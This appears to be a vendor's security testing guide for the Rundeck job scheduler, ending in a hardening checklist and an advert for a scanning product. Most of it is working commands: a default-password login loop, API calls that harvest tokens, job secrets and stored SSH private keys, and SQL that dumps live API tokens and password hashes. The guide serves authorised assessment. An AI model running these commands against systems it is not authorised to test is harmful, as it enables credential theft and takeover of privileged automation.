Rundeck Security Testing: Default Credentials, API Key, Database, and Job Scheduler

Rundeck is a widely deployed operations automation and job scheduling platform — organizations use it to automate deployment scripts, database maintenance, and infrastructure operations that run with privileged service accounts. Key assessment areas: admin/admin default credentials are common; job definitions contain embedded passwords in script arguments; the key storage vault holds SSH keys and passwords used by jobs; and MySQL provides all API tokens and execution history with command arguments. This guide covers systematic Rundeck security assessment.

Table of Contents

  1. Default Credentials and API Token Enumeration
  2. Job Definition and Execution History Credential Extraction
  3. Key Storage Vault and Configuration Assessment
  4. Rundeck Security Hardening

Default Credentials and API Token Enumeration

# Rundeck — default credentials and API token enumeration
RD_URL="https://rundeck.example.com"

# /api/40/system/info — version and system information (often unauthenticated)
curl -s "${RD_URL}/api/40/system/info" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    s=d.get('system',{})
    print(f'Rundeck: {s.get(\"rundeck\",{}).get(\"version\")}')
    print(f'OS: {s.get(\"os\",{}).get(\"arch\")}')
    print(f'Uptime: {s.get(\"rundeck\",{}).get(\"build\",{}).get(\"date\")}')
except: pass
" 2>/dev/null

# Test default admin credentials
for CRED in "admin:admin" "admin:password" "rundeck:rundeck" "admin:rundeck"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  # Get session token first
  TOKEN=$(curl -s -X POST "${RD_URL}/j_security_check" \
    -d "j_username=${USER}&j_password=${PASS}" \
    -c /tmp/rd_cookies -b /tmp/rd_cookies \
    -o /dev/null -w "%{redirect_url}" 2>/dev/null)
  echo "${USER}/${PASS}: redirect=${TOKEN}"
  # Check if we got authenticated
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${RD_URL}/api/40/user/info" \
    -b /tmp/rd_cookies 2>/dev/null)
  [ "$STATUS" = "200" ] && echo "  SUCCESS!"
done

# API token enumeration (requires admin access)
RD_TOKEN="your-api-token"
curl -s "${RD_URL}/api/40/tokens" \
  -H "X-Rundeck-Auth-Token: ${RD_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for t in d:
    print(f'  Token: {t.get(\"token\")[:20]}... user={t.get(\"user\")} roles={t.get(\"roles\")}')
" 2>/dev/null

Job Definition and Execution History Credential Extraction

# Rundeck job definitions and execution history — credential extraction
RD_URL="https://rundeck.example.com"
RD_TOKEN="your-api-token"

# List all projects
curl -s "${RD_URL}/api/40/projects" \
  -H "X-Rundeck-Auth-Token: ${RD_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for p in d:
    print(f'  Project: {p.get(\"name\")} - {p.get(\"description\",\"\")[:50]}')
" 2>/dev/null

# Export all jobs from a project (contains script definitions with credentials)
PROJECT="myproject"
curl -s "${RD_URL}/api/40/project/${PROJECT}/jobs/export?format=yaml" \
  -H "X-Rundeck-Auth-Token: ${RD_TOKEN}" 2>/dev/null | \
  grep -E "password|secret|key|token|credentials|CONNECTION_STRING" | head -20
# Job definitions may contain:
# - Hard-coded database passwords in script arguments
# - API keys passed as environment variables
# - SSH key file paths with service account credentials
# - AWS access keys in script steps

# Execution history — reveals command arguments with credentials
curl -s "${RD_URL}/api/40/project/${PROJECT}/executions?max=10" \
  -H "X-Rundeck-Auth-Token: ${RD_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for e in d.get('executions',[]):
    print(f'  Exec: {e.get(\"id\")} job={e.get(\"job\",{}).get(\"name\")}')
    # Check job options/arguments
    opts = e.get('options',{})
    for k,v in opts.items():
        if any(s in k.lower() for s in ['pass','key','secret','token','cred']):
            print(f'    SENSITIVE opt.{k}: {v[:60]}')
" 2>/dev/null

Key Storage Vault and Configuration Assessment

# Rundeck key storage vault and configuration assessment
RD_URL="https://rundeck.example.com"
RD_TOKEN="your-api-token"

# Key storage — Rundeck stores SSH private keys and passwords
curl -s "${RD_URL}/api/40/storage/keys/" \
  -H "X-Rundeck-Auth-Token: ${RD_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for item in d.get('resources',[]):
    print(f'  {item.get(\"path\")} type={item.get(\"meta\",{}).get(\"Rundeck-key-type\")}')
" 2>/dev/null

# Download a stored private key (if permissions allow)
KEY_PATH="keys/project/myproject/ssh_key"
curl -s "${RD_URL}/api/40/storage/${KEY_PATH}" \
  -H "X-Rundeck-Auth-Token: ${RD_TOKEN}" \
  -H "Accept: application/pgp-keys" 2>/dev/null | head -10
# Returns the SSH private key if the token has read access

# rundeck-config.properties — Rundeck server configuration
cat /etc/rundeck/rundeck-config.properties 2>/dev/null | grep -E "password|datasource|secret" | head -15
# dataSource.url=jdbc:mysql://localhost/rundeck?...
# dataSource.username=rundeck
# dataSource.password=...     <-- MySQL password for Rundeck database
# rundeck.gui.title=...

# MySQL — extract all API tokens and user data
DB_PASS="extracted-db-password"
mysql -u rundeck -p"${DB_PASS}" rundeck 2>/dev/null << 'EOF'
-- All API auth tokens
SELECT token, user_name, date_created, auth_roles, expiration_date
FROM rundeck_auth_token
WHERE expiration_date IS NULL OR expiration_date > NOW()
ORDER BY date_created DESC
LIMIT 20;

-- All user credentials
SELECT login, password, email
FROM sec_user
LIMIT 20;
-- password: SHA256 or bcrypt hashes
EOF

Rundeck Security Hardening

Rundeck Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credentialsPOST /j_security_check with admin/admin — full access to all projects, jobs, key storage, and system settings; all stored credentials accessibleCritical
Job definition credential extractionGET /api/40/project/{project}/jobs/export — YAML job definitions with hardcoded database passwords, API keys, and AWS credentials in script argumentsHigh
Key storage SSH key and password accessGET /api/40/storage/keys/{path} — SSH private keys and passwords stored in Rundeck vault; direct server access with stored credentialsCritical
rundeck-config.properties MySQL credential extractionRead /etc/rundeck/rundeck-config.properties — JDBC dataSource.password for full MySQL access; rundeck_auth_token all API tokens; sec_user password hashesCritical
Execution history command argument disclosureGET /api/40/project/{project}/executions — execution history with job option values including passwords passed as unmasked argumentsHigh

Automate Rundeck Security Testing

Ironimo tests Rundeck deployments for admin/admin default credential detection, /api/40/system/info version disclosure without authentication, job definition YAML credential extraction (hardcoded passwords, API keys), key storage SSH private key and password access assessment, rundeck-config.properties dataSource.password extraction, MySQL rundeck_auth_token enumeration, execution history job option credential disclosure, ACL policy misconfiguration detection, webhook token enumeration, and /api/40/tokens admin API token listing.

Start free scan